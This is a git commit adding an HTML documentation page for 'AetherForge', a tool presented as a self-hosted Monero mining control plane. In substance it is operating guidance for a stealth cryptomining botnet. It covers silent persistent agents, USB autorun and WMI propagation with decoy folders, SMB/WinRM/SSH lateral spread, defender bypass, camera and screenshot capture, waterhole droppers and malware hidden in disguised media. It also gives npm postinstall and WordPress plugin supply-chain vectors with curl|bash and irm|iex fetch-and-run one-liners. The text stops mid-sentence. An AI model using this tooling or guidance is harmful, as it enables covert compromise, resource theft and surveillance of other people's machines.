feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
AetherForge
853
server/web/public/docs/index.html
Normal file
853
server/web/public/docs/index.html
Normal file
@@ -0,0 +1,853 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>AetherForge Documentation</title>
|
||||
<link rel="stylesheet" href="wiki.css" />
|
||||
</head>
|
||||
<body>
|
||||
<div class="wiki-layout">
|
||||
<aside class="wiki-sidebar">
|
||||
<div class="wiki-sidebar-header">
|
||||
<h1>AetherForge</h1>
|
||||
<p>Field documentation</p>
|
||||
<a href="/">← Command Deck</a>
|
||||
</div>
|
||||
<div class="wiki-search">
|
||||
<label class="wiki-search-label" for="wiki-search-input">Search</label>
|
||||
<input
|
||||
type="search"
|
||||
id="wiki-search-input"
|
||||
class="wiki-search-input"
|
||||
placeholder="Search docs…"
|
||||
autocomplete="off"
|
||||
spellcheck="false"
|
||||
/>
|
||||
<ul id="wiki-search-results" class="wiki-search-results" hidden></ul>
|
||||
</div>
|
||||
<ul class="wiki-nav">
|
||||
<li><a href="#overview">Overview</a></li>
|
||||
<li><a href="#quick-start">Quick Start</a></li>
|
||||
<li><a href="#dashboard">Dashboard</a></li>
|
||||
<li><a href="#forge">Forge / Builder</a></li>
|
||||
<li><a href="#spread-campaigns">Spread & Campaigns</a></li>
|
||||
<li><a href="#wordpress-plugin-supply-chain">WordPress plugin</a></li>
|
||||
<li><a href="#npm-postinstall-helper">npm postinstall</a></li>
|
||||
<li><a href="#agent">Agent</a></li>
|
||||
<li><a href="#mining">Mining</a></li>
|
||||
<li><a href="#alerts-ai">Alerts & AI</a></li>
|
||||
<li><a href="#security-auth">Security & Auth</a></li>
|
||||
<li><a href="#usb-portable">USB Portable Deck</a></li>
|
||||
<li><a href="#api-reference">API Reference</a></li>
|
||||
<li><a href="#troubleshooting">Troubleshooting</a></li>
|
||||
<li><a href="#problems">Known Limits</a></li>
|
||||
</ul>
|
||||
</aside>
|
||||
|
||||
<main class="wiki-content">
|
||||
|
||||
<!-- 1. Overview -->
|
||||
<section id="overview">
|
||||
<h2>Overview — What is AetherForge?</h2>
|
||||
<p>
|
||||
AetherForge is a <strong>self-hosted mining control plane</strong> for machines you own or administer.
|
||||
One control PC runs the Go server on port <code>8989</code>; a React command deck shows live fleet stats;
|
||||
cross-platform worker agents mine Monero (CPU) and optionally Ravencoin (GPU), phone home over WebSocket,
|
||||
and accept remote commands from the Crucible terminal.
|
||||
</p>
|
||||
<p>
|
||||
Unlike cloud pool dashboards, you bake configuration at forge time — wallet, pool, server URL, stealth,
|
||||
persistence, USB spread, fusion packaging — then distribute a single binary or ZIP. The server proxies
|
||||
Stratum to your pool, stores fleet state in SQLite, and gates access with HTTP Basic auth plus a per-fleet
|
||||
secret baked into every agent.
|
||||
</p>
|
||||
<p>
|
||||
The workflow is: <strong>Calibrate</strong> (Settings) → <strong>Forge</strong> (Builder) → deploy once per
|
||||
worker → monitor on <strong>Command Deck</strong> and <strong>Fleet Roster</strong>. Optional layers include
|
||||
prep/movie fusion, USB perpetual propagation, LAN lateral spread, Emberwake campaign links, and Path Tracer
|
||||
WireGuard multi-hop routing.
|
||||
</p>
|
||||
|
||||
<h3>Architecture layers</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Layer</th><th>Role</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Control server</td><td>Go backend — REST API, WebSocket hub, SQLite DB, Stratum proxy</td></tr>
|
||||
<tr><td>Command deck</td><td>React/Vite SPA — login gate, fleet map, forge, Crucible, calibrate</td></tr>
|
||||
<tr><td>Worker agent</td><td>Windows / Linux / macOS binary — RandomX + optional KawPoW, telemetry, spread</td></tr>
|
||||
<tr><td>Fusion</td><td>Prep or movie bundler — hides worker inside your exe or encrypted media package</td></tr>
|
||||
<tr><td>Forge pipeline</td><td>Compile-time config — threads, stealth, firewall, USB/LAN spread flags</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Key paths</h3>
|
||||
<ul>
|
||||
<li>Server config: <code>data/config.json</code></li>
|
||||
<li>Fleet database: <code>data/miner.db</code></li>
|
||||
<li>User credentials: <code>data/users.json</code> (bcrypt); first-run passwords in <code>data/login-credentials.json</code></li>
|
||||
<li>Forged builds archive: <code>data/builds/{build-id}/</code></li>
|
||||
<li>Dashboard build (served): <code>server/webroot/</code></li>
|
||||
<li>Agent source: <code>agent/</code></li>
|
||||
</ul>
|
||||
|
||||
<div class="wiki-screenshot">[Screenshot: Command Deck overview with fleet health score]</div>
|
||||
</section>
|
||||
|
||||
<!-- 2. Quick Start -->
|
||||
<section id="quick-start">
|
||||
<h2>Quick Start</h2>
|
||||
<p>
|
||||
The fastest path on a Windows control PC is <code>devrun.bat</code> at the repo root. It installs Go and Node
|
||||
if missing, builds the React dashboard, compiles <code>bin\miner-server.exe</code>, copies
|
||||
<code>server\web\dist</code> → <code>server\webroot</code>, and starts the server. The browser opens
|
||||
<code>http://localhost:8989</code>.
|
||||
</p>
|
||||
<p>
|
||||
First run creates <strong>admin</strong> and <strong>comrade</strong> accounts with random passwords printed
|
||||
in the console and saved to <code>data/login-credentials.json</code>. Sign in, open <strong>Calibrate</strong>,
|
||||
set wallet + pool + public URL, then <strong>Forge</strong> a worker pointing at your LAN IP or tunnel URL.
|
||||
</p>
|
||||
|
||||
<h3>devrun.bat (development)</h3>
|
||||
<pre><code>devrun.bat
|
||||
# → http://localhost:8989
|
||||
# Console shows first-run passwords</code></pre>
|
||||
|
||||
<h3>Manual build</h3>
|
||||
<pre><code>cd server\web
|
||||
npm install
|
||||
npm run build
|
||||
|
||||
cd ..\..
|
||||
xcopy /E /I /Y server\web\dist\* server\webroot\
|
||||
|
||||
cd server
|
||||
go build -ldflags="-s -w" -o ..\bin\miner-server.exe .
|
||||
|
||||
cd ..
|
||||
bin\miner-server.exe -port 8989 -data .\data</code></pre>
|
||||
|
||||
<h3>Docker (Tier 2 CI / Linux agent)</h3>
|
||||
<p>
|
||||
For isolated server + Linux agent regression without a Windows VM, use the Docker compose stack. Server
|
||||
listens on host port <strong>18989</strong>; credentials are <code>testuser</code> / <code>testpass</code>
|
||||
(see <code>docker/data/users.json</code>).
|
||||
</p>
|
||||
<pre><code>docker compose -f docker/docker-compose.yml up --build
|
||||
# Dashboard: http://localhost:18989
|
||||
# Teardown: docker compose -f docker/docker-compose.yml down --rmi local -v</code></pre>
|
||||
<p>Full notes: <code>docker/README.md</code>. Agent container has no internet egress — mines via server-broadcast jobs only.</p>
|
||||
|
||||
<h3>Portable USB deck</h3>
|
||||
<p>
|
||||
Run <code>pack-usb.bat</code> to build <code>usb\AetherForge.exe</code> with bundled webroot, agent source,
|
||||
and Go toolchain. Copy <code>usb\</code> to a USB drive; double-click <code>LAUNCH.bat</code> on any Windows PC.
|
||||
See the <a href="#usb-portable">USB Portable Deck</a> section for details.
|
||||
</p>
|
||||
|
||||
<h3>Network URL in Forge</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Scenario</th><th>Server URL</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Same LAN</td><td><code>http://192.168.x.x:8989</code></td></tr>
|
||||
<tr><td>Cloudflare / reverse tunnel</td><td><code>https://your-domain.com</code></td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<p>Workers auto-convert <code>http(s)://</code> → <code>ws(s)://…/ws/agent</code>. Only outbound access from workers is required.</p>
|
||||
</section>
|
||||
|
||||
<!-- 3. Dashboard -->
|
||||
<section id="dashboard">
|
||||
<h2>Dashboard</h2>
|
||||
<p>
|
||||
The React command deck is the operator-facing UI. After login, the main routes cover fleet overview,
|
||||
agent roster, forge builder, build manager, Crucible remote terminal, Emberwake campaigns, Path Tracer,
|
||||
and Calibrate settings. Advanced mode unlocks matrix rain overlay, AI activity panel, and extra forge options.
|
||||
</p>
|
||||
<p>
|
||||
Live data flows over <code>/ws/dashboard</code> using a one-time ticket from
|
||||
<code>POST /api/v1/auth/ws-ticket</code>. Fleet health score (0–100) weights online percentage, accept rate,
|
||||
pool status, and hashrate. The 3D topology map (React Three Fiber) orbits agents around the server node.
|
||||
</p>
|
||||
|
||||
<h3>Command Deck (home)</h3>
|
||||
<ul>
|
||||
<li>Fleet hashrate gauges, CPU/RAM, share feed, XMR price (CoinGecko, 10 min cache)</li>
|
||||
<li>Contribution map with USD/day estimates; underperformer list (<70% median)</li>
|
||||
<li>OS/arch breakdown, LAN group view by /24 subnet</li>
|
||||
<li>Monero and Ravencoin sections (separate CPU vs GPU stats)</li>
|
||||
<li>Install funnel — agents per build over 7 days, USB-spread flag</li>
|
||||
<li>Operator audit strip — last forge, commands, config saves</li>
|
||||
</ul>
|
||||
<div class="wiki-screenshot">[Screenshot: Dashboard fleet health + contribution map]</div>
|
||||
|
||||
<h3>Fleet Roster (Agents)</h3>
|
||||
<ul>
|
||||
<li>Compact rows — click to expand inline details and remote action strip</li>
|
||||
<li><strong>Fleet Groups</strong> — multi-select, named colour-coded groups; selectable in Crucible</li>
|
||||
<li>Remote control: pause/resume/restart miner, sysinfo, screenshot, live view, camera, file browser (Windows)</li>
|
||||
<li>Power: reboot, shutdown, Wake-on-LAN (UDP magic packet to stored MAC)</li>
|
||||
<li>Live stats ticker every 5s while agent online; offline banner disables controls</li>
|
||||
</ul>
|
||||
|
||||
<h3>Crucible (Command Terminal)</h3>
|
||||
<p>
|
||||
Select one or many agents (or a Fleet Group). Send raw commands, PowerShell, or preset ops. Output streams
|
||||
to the terminal in real time. Gold rain overlay activates when a single agent is selected. Expanded ops
|
||||
include firewall suite, UPnP, mesh status, fleet upgrade, registry panel, SMB shares, spread status,
|
||||
credential vault list (names only), secure wipe, and port-forward matrix.
|
||||
</p>
|
||||
|
||||
<h3>Emberwake</h3>
|
||||
<p>
|
||||
Dashboard tab at <code>/emberwake</code> — campaign link builder, A/B <code>?pin=</code> rotation,
|
||||
spread-kit export, shared operator notes (WebSocket sync). Copies one-liners for
|
||||
<code>curl|bash</code>, <code>irm|iex</code>, and public download URLs with <code>?c=</code> campaign tags.
|
||||
</p>
|
||||
|
||||
<h3>Path Tracer</h3>
|
||||
<p>
|
||||
Multi-hop WireGuard path builder. Hop 1 gets client peer <code>10.66.0.1/32</code>; multi-hop adds reverse
|
||||
peers on middle/exit hops. Sessions auto-expire after 2 hours with <code>wg_teardown</code>. Windows agents
|
||||
may auto-download WireGuard on first use if not pre-installed.
|
||||
</p>
|
||||
|
||||
<h3>Calibrate (Settings)</h3>
|
||||
<ul>
|
||||
<li>Wallet, pool, public URL, users, fleet secret rotation</li>
|
||||
<li>Telegram + SMTP alert notifications and thresholds</li>
|
||||
<li>Fleet task scheduler — on_connect, interval, cron</li>
|
||||
<li>Cloudflare tunnel token, tunnel defaults</li>
|
||||
<li><code>public_builds_enabled</code> — expose all builds on unauthenticated public API</li>
|
||||
</ul>
|
||||
</section>
|
||||
|
||||
<!-- 4. Forge -->
|
||||
<section id="forge">
|
||||
<h2>Forge / Builder</h2>
|
||||
<p>
|
||||
The Forge page compiles per-target worker binaries via <code>POST /api/v1/builder/build</code>. Preflight
|
||||
checks wallet, server URL, pool, fusion payload, and AI settings before compile. Blueprints save/load
|
||||
profiles for re-forge across machines (confirmation required before re-running a saved blueprint).
|
||||
</p>
|
||||
<p>
|
||||
Outputs include single-platform exe, <strong>Spread Kit</strong> ZIP, <strong>Universal</strong> ZIP (all
|
||||
platforms), prep fusion, and movie fusion packages. Build manager lists downloads, LAN QR codes, pin/public
|
||||
flags, and dropper URLs.
|
||||
</p>
|
||||
|
||||
<h3>Target profiles</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Profile</th><th>Output</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Windows / Linux / macOS</td><td>Single <code>.exe</code> or binary for one OS/arch</td></tr>
|
||||
<tr><td>Universal</td><td>ZIP with all platform workers + <code>Deploy.bat</code> / <code>deploy.sh</code> / <code>Start.command</code></td></tr>
|
||||
<tr><td>Spread Kit</td><td>Non-fusion ZIP with silent <code>--spread-install</code> launchers</td></tr>
|
||||
<tr><td>Prep fusion</td><td>Worker hidden inside your uploaded <code>prep.exe</code></td></tr>
|
||||
<tr><td>Movie fusion</td><td>Encrypted media + disguised runner (embedded or paired mode)</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Forge simple mode — spread profile chips</h3>
|
||||
<ul>
|
||||
<li><strong>Web Drop</strong> — dropper landing + install scripts</li>
|
||||
<li><strong>Desktop Fusion</strong> — prep or movie bundle</li>
|
||||
<li><strong>LAN Kindling</strong> — SMB / SSH lateral spread flags</li>
|
||||
<li><strong>Crucible Ops</strong> — remote aggressive ops enabled</li>
|
||||
</ul>
|
||||
|
||||
<h3 id="forge-stealth">Key forge settings — stealth & persistence</h3>
|
||||
<ul>
|
||||
<li>Thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog</li>
|
||||
<li>USB Propagation, Share Spread, LAN Auto-Spread</li>
|
||||
<li>Backup pools and backup server URLs (advanced)</li>
|
||||
<li>Garble obfuscation, Sigil scramble, Authenticode / osslsigncode signing</li>
|
||||
<li>Connection profile — beacon interval, jitter, kill-after-days, HTTPS beacon fallback</li>
|
||||
<li>Build size limits enforced via <code>checkBuildSizeFile</code> on universal/spread-kit/fusion ZIPs</li>
|
||||
</ul>
|
||||
|
||||
<h3>Output locations</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Artifact</th><th>Path</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Forged agent exe</td><td>Project root (e.g. <code>install-worker.exe</code>)</td></tr>
|
||||
<tr><td>Movie fusion per title</td><td><code>fusion-deliverables/<Title>/</code></td></tr>
|
||||
<tr><td>Archive copy</td><td><code>data\builds\{build-id}\</code></td></tr>
|
||||
<tr><td>Uninstall script</td><td>Same build folder + download API</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Cancel in-flight compile</h3>
|
||||
<pre><code>DELETE /api/v1/builder/cancel/{token}</code></pre>
|
||||
</section>
|
||||
|
||||
<!-- 5. Spread & Campaigns -->
|
||||
<section id="spread-campaigns">
|
||||
<h2>Spread & Campaigns</h2>
|
||||
<p>
|
||||
AetherForge supports multiple distribution vectors: USB perpetual propagation, LAN lateral movement (SMB /
|
||||
WinRM on Windows, SSH on Linux/macOS), waterhole dropper pages, and one-liner install scripts. Campaign
|
||||
attribution uses <code>?c=slug</code> on dropper and public download URLs; agents report
|
||||
<code>AETHER_CAMPAIGN</code> on connect.
|
||||
</p>
|
||||
<p>
|
||||
Modern browsers block silent drive-by execution — users must click download and run. AetherForge maps to
|
||||
authorized lab patterns: first-party install docs, spread-kit landers, fusion bundles, and email→lander→pinned
|
||||
build chains. See also <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a> for the full technique matrix.
|
||||
</p>
|
||||
|
||||
<h3>Dropper endpoints (unauthenticated)</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Endpoint</th><th>Purpose</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>GET /get</code></td><td>Platform-detect download; <code>?pin={build_id}</code>, <code>?c={campaign}</code></td></tr>
|
||||
<tr><td><code>GET /install.sh</code></td><td>Linux/macOS curl|bash one-liner target</td></tr>
|
||||
<tr><td><code>GET /install.ps1</code></td><td>Windows <code>irm|iex</code> one-liner</td></tr>
|
||||
<tr><td><code>GET /install.command</code></td><td>macOS launcher script</td></tr>
|
||||
<tr><td><code>GET /api/v1/public/download/{id}</code></td><td>Public build artifact + campaign logging</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>USB perpetual propagation</h3>
|
||||
<p>Enable <strong>USB Propagation</strong> at forge time. Within 8 seconds of USB insert:</p>
|
||||
<ol>
|
||||
<li>Drop agent into hidden folder (<code>~RECYCLER</code>, <code>System Volume Information</code>, etc.)</li>
|
||||
<li>Write <code>autorun.inf</code>, folder-icon LNK, and <code>SETUP.BAT</code> fallback</li>
|
||||
<li>Create decoy folder (Documents / Photos)</li>
|
||||
<li>Install WMI event subscription for future USB mounts</li>
|
||||
</ol>
|
||||
|
||||
<h3>LAN spread</h3>
|
||||
<ul>
|
||||
<li><strong>Share Spread</strong> — copy to mounted network shares + WinRM lateral install (Windows)</li>
|
||||
<li><strong>LAN Auto-Spread</strong> — SMB <code>admin$</code> / SSH lateral movement (gated behind C2 auth)</li>
|
||||
<li>ARP-first subnet scan via <code>deploy/subnet.go</code> — IPv6 /64 + IPv4 /24</li>
|
||||
</ul>
|
||||
|
||||
<h3>Emberwake / waterhole kit</h3>
|
||||
<ul>
|
||||
<li>Campaign War Room funnel board: <code>GET /api/v1/emberwake/war-room?days=7</code> — hits, downloads, first_beacon, mining, hashrate per <code>?c=</code> slug; Emberwake funnel cards + stats table; live WS tick every 30s (<code>emberwake_war_room</code>)</li>
|
||||
<li>Legacy hit totals: <code>GET /api/v1/emberwake/campaigns</code></li>
|
||||
<li>Spread-kit web export: <code>POST /api/v1/builder/spread-kit-export</code> (auth)</li>
|
||||
<li>WordPress plugin ZIP: <code>POST /api/v1/builder/wordpress-plugin-export</code> (auth)</li>
|
||||
<li>npm helper ZIP: <code>POST /api/v1/builder/npm-helper-export</code> (auth)</li>
|
||||
<li>Public builds: pinned + public-flagged + latest N (or all when <code>public_builds_enabled</code>)</li>
|
||||
<li>Login page drawer: <code>GET /api/v1/public/builds</code> — no credentials required</li>
|
||||
</ul>
|
||||
|
||||
<h3>Example one-liners</h3>
|
||||
<pre><code># Linux server
|
||||
curl -sL https://your.site/install.sh | bash
|
||||
|
||||
# Windows Server
|
||||
irm https://your.site/install.ps1 | iex
|
||||
|
||||
# Pinned build + campaign
|
||||
https://your.site/get?pin={build_id}&c=docs</code></pre>
|
||||
</section>
|
||||
|
||||
<!-- 5b. WordPress plugin supply chain -->
|
||||
<section id="wordpress-plugin-supply-chain">
|
||||
<h2>WordPress plugin supply chain (owned site)</h2>
|
||||
<p>
|
||||
Export a ready-to-upload plugin ZIP from <strong>Emberwake → Supply-chain export wizard</strong> (or quick export).
|
||||
Templates live in <code>templates/wordpress-plugin/</code>. The plugin is hosted on a WordPress installation
|
||||
<em>you operate</em> — it is <strong>not</strong> submitted to wordpress.org or any third-party plugin directory.
|
||||
</p>
|
||||
|
||||
<h3>High-level flow</h3>
|
||||
<ol>
|
||||
<li>Forge and pin the build you want for this wave.</li>
|
||||
<li>Emberwake: set server URL, site name (plugin slug), optional campaign override.</li>
|
||||
<li>Download ZIP → <strong>Plugins → Add New → Upload Plugin</strong> on your owned WP host.</li>
|
||||
<li>Activate — admins see an update notice linking to <code>/get?c=wp-{site}</code> on your command deck.</li>
|
||||
<li>Track connects under Emberwake → Campaign hits (<code>wp-{site}</code> slug).</li>
|
||||
</ol>
|
||||
|
||||
<h3>Nitty-gritty</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Field</th><th>Role</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>site_name</code></td><td>Sanitized to plugin slug + default campaign <code>wp-{slug}</code></td></tr>
|
||||
<tr><td><code>build_id</code></td><td>Optional <code>?pin=</code> on download URL</td></tr>
|
||||
<tr><td><code>campaign</code></td><td>Optional override; normalized to <code>wp-…</code> prefix</td></tr>
|
||||
<tr><td><code>server_url</code></td><td>Command-deck base — download hits <code>GET /get</code></td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<p>
|
||||
ZIP layout: <code>{slug}/{slug}.php</code> + <code>readme.txt</code>. The main PHP file defines
|
||||
<code>AF_HELPER_DOWNLOAD</code>, registers an admin notice, and adds a Tools page documenting the operator-owned model.
|
||||
End users still confirm off-site downloads — WordPress does not silently sideload binaries from your server.
|
||||
</p>
|
||||
<pre><code>POST /api/v1/builder/wordpress-plugin-export
|
||||
{
|
||||
"build_id": "uuid-from-forge",
|
||||
"server_url": "https://deck.example:8989",
|
||||
"site_name": "my-blog",
|
||||
"campaign": "wp-my-blog"
|
||||
}</code></pre>
|
||||
<p>
|
||||
Pair with the static spread kit (<a href="/spread/">/spread/</a>) when you want a full waterhole page on the same origin;
|
||||
the plugin path is for update-check / admin-notice distribution on CMS you already control.
|
||||
</p>
|
||||
|
||||
<h3 id="wordpress-hosting-checklist">Hosting checklist</h3>
|
||||
<ul>
|
||||
<li>Download ZIP from Emberwake → Supply-chain export wizard (step 3) or quick export.</li>
|
||||
<li>Unzip locally — layout is <code>{slug}/{slug}.php</code> + <code>readme.txt</code>.</li>
|
||||
<li>WordPress Admin → <strong>Plugins → Add New → Upload Plugin</strong> → choose the ZIP.</li>
|
||||
<li><strong>Install Now</strong> → <strong>Activate</strong> on your owned host (not wordpress.org).</li>
|
||||
<li>Log in as admin — confirm the notice links to <code>/get?c=wp-{site}</code> on your command deck.</li>
|
||||
<li>Optionally open <strong>Tools → {site}</strong> to verify campaign slug and download URL.</li>
|
||||
<li>Track funnel under Emberwake → Campaign War Room (<code>wp-{site}</code> slug).</li>
|
||||
</ul>
|
||||
</section>
|
||||
|
||||
<!-- 5c. npm postinstall helper -->
|
||||
<section id="npm-postinstall-helper">
|
||||
<h2>npm postinstall helper (your packages only)</h2>
|
||||
<p>
|
||||
Export a private npm package skeleton from <strong>Emberwake → Export npm package template ZIP</strong>.
|
||||
Templates live in <code>templates/npm-helper-package/</code>. The <code>postinstall</code> script curls your
|
||||
command-deck <code>install.sh</code> with <code>AETHER_CAMPAIGN</code> set — for registries and projects
|
||||
<em>you</em> publish and authorize.
|
||||
</p>
|
||||
|
||||
<h3>High-level flow</h3>
|
||||
<ol>
|
||||
<li>Emberwake: set server URL, campaign slug, optional pinned build.</li>
|
||||
<li>Unzip → adjust <code>package.json</code> name if needed.</li>
|
||||
<li>Publish to a registry you control (private npm, Verdaccio, GitHub Packages).</li>
|
||||
<li>Add as dependency only in authorized CI/dev environments.</li>
|
||||
<li><code>npm install</code> runs postinstall → <code>install.sh?c=…&pin=…</code> → agent checks in.</li>
|
||||
</ol>
|
||||
|
||||
<h3>Nitty-gritty</h3>
|
||||
<ul>
|
||||
<li><code>scripts/postinstall.cjs</code> — Unix uses <code>curl | bash</code>; Windows uses <code>irm | iex</code>.</li>
|
||||
<li>Default package name: <code>@aetherforge/{campaign}-helper</code> (scoped, private flag in template).</li>
|
||||
<li>API: <code>POST /api/v1/builder/npm-helper-export</code> with <code>build_id</code>, <code>server_url</code>, <code>campaign</code>.</li>
|
||||
</ul>
|
||||
<p>
|
||||
<strong>Out of scope:</strong> typosquatting public npm packages or hijacking third-party dependency chains.
|
||||
This template is for purple-team / lab pipelines where you own the registry and the machines that run <code>npm install</code>.
|
||||
</p>
|
||||
<pre><code>POST /api/v1/builder/npm-helper-export
|
||||
{
|
||||
"build_id": "uuid-from-forge",
|
||||
"server_url": "https://deck.example:8989",
|
||||
"campaign": "ci-bootstrap"
|
||||
}</code></pre>
|
||||
|
||||
<h3 id="npm-hosting-checklist">Hosting checklist</h3>
|
||||
<ul>
|
||||
<li>Download ZIP from Emberwake → Supply-chain export wizard (step 3) or quick export.</li>
|
||||
<li>Unzip — verify <code>package.json</code> name (<code>@aetherforge/{campaign}-helper</code>) and <code>scripts/postinstall.cjs</code>.</li>
|
||||
<li>Adjust scope/name if your private registry requires a different namespace.</li>
|
||||
<li><code>npm publish --access restricted</code> (or equivalent) to a registry <em>you</em> operate.</li>
|
||||
<li>Add the package as a dependency only in authorized CI/dev repos.</li>
|
||||
<li>Run <code>npm install</code> in a test environment — confirm postinstall curls <code>install.sh?c=…&pin=…</code>.</li>
|
||||
<li>Track campaign slug in Emberwake → Campaign War Room after first agent beacon.</li>
|
||||
</ul>
|
||||
</section>
|
||||
|
||||
<!-- 6. Agent -->
|
||||
<section id="agent">
|
||||
<h2>Agent — Windows / Linux / macOS</h2>
|
||||
<p>
|
||||
The worker agent is compiled on demand from <code>agent/</code>. It connects via WebSocket
|
||||
<code>/ws/agent</code> using a fleet-secret <code>auth</code> frame, falls back to HTTPS beacon after
|
||||
configurable minutes if WebSocket is down, and mines silently with no visible CMD windows.
|
||||
</p>
|
||||
<p>
|
||||
All child processes use <code>CREATE_NO_WINDOW</code> / detached flags. The only user-visible event on first
|
||||
launch is typically a single UAC prompt (Windows) for persistence and firewall rules.
|
||||
</p>
|
||||
|
||||
<h3>Platform matrix</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Feature</th><th>Windows</th><th>Linux</th><th>macOS</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>RandomX CPU mining</td><td>✅</td><td>✅</td><td>✅</td></tr>
|
||||
<tr><td>GPU RVN (T-Rex / TRM)</td><td>✅</td><td>stub</td><td>stub</td></tr>
|
||||
<tr><td>Screenshot</td><td>✅ GDI+</td><td>✅ scrot/import</td><td>✅ screencapture</td></tr>
|
||||
<tr><td>Camera</td><td>✅ ffmpeg</td><td>✅ V4L2/ffmpeg</td><td>stub</td></tr>
|
||||
<tr><td>File browser (Crucible)</td><td>✅</td><td>✅</td><td>✅</td></tr>
|
||||
<tr><td>USB / WMI spread</td><td>✅</td><td>❌</td><td>❌</td></tr>
|
||||
<tr><td>SMB / WinRM spread</td><td>✅</td><td>❌</td><td>❌</td></tr>
|
||||
<tr><td>SSH lateral spread</td><td>❌</td><td>✅</td><td>✅</td></tr>
|
||||
<tr><td>Firewall aggressive ops</td><td>✅ netsh</td><td>✅ ufw/iptables</td><td>stub</td></tr>
|
||||
<tr><td>Persistence</td><td>Task + registry</td><td>systemd user</td><td>LaunchAgent</td></tr>
|
||||
<tr><td>Install base</td><td>%LOCALAPPDATA%</td><td>XDG data home</td><td>~/Library/Application Support</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Staged modules (runtime feature packs)</h3>
|
||||
<p>
|
||||
Thin agents can enable forge flags at runtime without re-forging. The server stores signed JSON manifests in
|
||||
<code>data/modules/</code>. Default packs:
|
||||
</p>
|
||||
<ul>
|
||||
<li><strong>Crucible Ops</strong> (<code>crucible_ops</code>) — <code>remote_aggressive</code> for dashboard tunnels, scans, firewall, defender bypass</li>
|
||||
<li><strong>Spread Pack</strong> (<code>spread</code>) — <code>auto_spread</code> + <code>usb_spread</code> for lateral and passive propagation</li>
|
||||
<li><strong>GPU Miner</strong> (<code>gpu</code>) — <code>gpu_enabled</code> for KawPoW RVN when wallet and hardware are present</li>
|
||||
</ul>
|
||||
<p>
|
||||
Each manifest includes <code>display_name</code>, <code>summary</code>, <code>description</code>,
|
||||
<code>capabilities</code> (human-readable list for the dashboard preview), and <code>features</code> (agent
|
||||
flags). Forge operation modes (PathForge, Spread Kit, Crucible Storm, etc.) stay intact — packs are runtime
|
||||
add-ons, not replacements.
|
||||
</p>
|
||||
<p>
|
||||
<strong>UI flow:</strong> Calibrate → <strong>Staged Modules</strong> → pick a pack card → choose target
|
||||
(all online or fleet group) → review preview → <em>Push Crucible Ops to Group X</em>. The server queues
|
||||
<code>fetch_module</code>; the worker downloads
|
||||
<code>GET /api/v1/agent/module/{name}</code> with <code>X-Fleet-Secret</code>, verifies HMAC, applies
|
||||
flags in memory, and emits <code>capabilities_update</code>. The dashboard shows a success toast when agents
|
||||
report updated capabilities.
|
||||
</p>
|
||||
|
||||
<h3>Fleet policy (server push)</h3>
|
||||
<p>
|
||||
Calibrate → <strong>Fleet Policy</strong> pushes <code>policy_update</code> over WebSocket (or HTTPS beacon
|
||||
when WS is down): <code>mining_mode</code>, <code>schedule_start</code>/<code>schedule_end</code>,
|
||||
<code>max_cpu_usage_pct</code>, and optional pool host/port overrides. The miner schedule guard and CPU cap
|
||||
update without restart; pool overrides apply to Stratum fallback and local resource guards.
|
||||
</p>
|
||||
|
||||
<h3>Remote commands (sample)</h3>
|
||||
<ul>
|
||||
<li>Runtime: <code>fetch_module</code> (stage signed pack from server)</li>
|
||||
<li>Mining: <code>pause</code>, <code>resume</code>, <code>restart</code></li>
|
||||
<li>Recon: <code>sysinfo</code>, <code>ps</code>, <code>netstat</code>, <code>listen_ports</code>, <code>posture</code></li>
|
||||
<li>Network: <code>connectivity_probe</code>, <code>firewall_*</code>, <code>smb_shares</code>, <code>spread_status</code></li>
|
||||
<li>Files: <code>list_dir</code>, <code>read_file</code> (512 KB cap), upload/download</li>
|
||||
<li>Tunnels: <code>tunnel_cloudflared</code>, <code>tunnel_ssh_forward</code>, <code>tunnel_status</code>, <code>tunnel_stop</code></li>
|
||||
</ul>
|
||||
|
||||
<h3>Agent logs</h3>
|
||||
<ul>
|
||||
<li>Server cache: <code>data/logs/{agent-id}.log</code></li>
|
||||
<li>On worker: <code>%LOCALAPPDATA%/{install-dir}/miner.log</code> (when <code>file_logging</code> enabled)</li>
|
||||
<li>API: <code>GET /api/v1/agents/{id}/log?refresh=1</code> (90s long-poll timeout)</li>
|
||||
</ul>
|
||||
</section>
|
||||
|
||||
<!-- 7. Mining -->
|
||||
<section id="mining">
|
||||
<h2>Mining — XMR, RVN/GPU, Pools</h2>
|
||||
<p>
|
||||
CPU mining uses RandomX via pure-Go <code>go-randomx</code> (BSD-3-Clause). Workers submit shares through
|
||||
the server's Stratum proxy — one upstream connection per wallet/host with <code>PaymentID</code> in the pool
|
||||
